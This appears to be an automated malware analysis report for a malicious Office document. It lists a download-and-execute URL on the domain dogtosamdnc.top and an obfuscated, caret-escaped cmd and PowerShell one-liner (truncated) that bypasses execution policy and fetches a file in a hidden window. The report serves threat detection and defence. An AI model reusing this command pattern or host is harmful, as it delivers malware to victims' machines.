Technical Information
To ensure autorun and distribution
Infects the following executable files
- %ProgramFiles(x86)%\microsoft office\office16\winword.exe
Malicious functions
Downloads and executes
- http://dogtosamdnc.top/search.php as %appdata%.exe
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /c "pOWEr^sH^ELL.ex^e -e^x^eC^ut^Io^npol^Icy^ ^BYPA^S^s^ ^-^NOPR^O^f^i^l^E -^w^IND^Ow^stYle^ HIdDe^N^ (^n^eW-^Ob^j^e^ct sYs^TeM.n^et^.W^EB^C^liEnT).d^ow^N^LoADfi^LE^('http://...
Network activity
Connects to
- 'me######.#emplates.cdn.office.net':443
TCP
Other
- 'me######.#emplates.cdn.office.net':443
UDP
- DNS ASK me######.#emplates.cdn.office.net
- DNS ASK do###samdnc.top
Miscellaneous
Searches for the following windows
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c "pOWEr^sH^ELL.ex^e -e^x^eC^ut^Io^npol^Icy^ ^BYPA^S^s^ ^-^NOPR^O^f^i^l^E -^w^IND^Ow^stYle^ HIdDe^N^ (^n^eW-^Ob^j^e^ct sYs^TeM.n^et^.W^EB^C^liEnT).d^ow^N^LoADfi^LE^('http://...' (with hidden window)
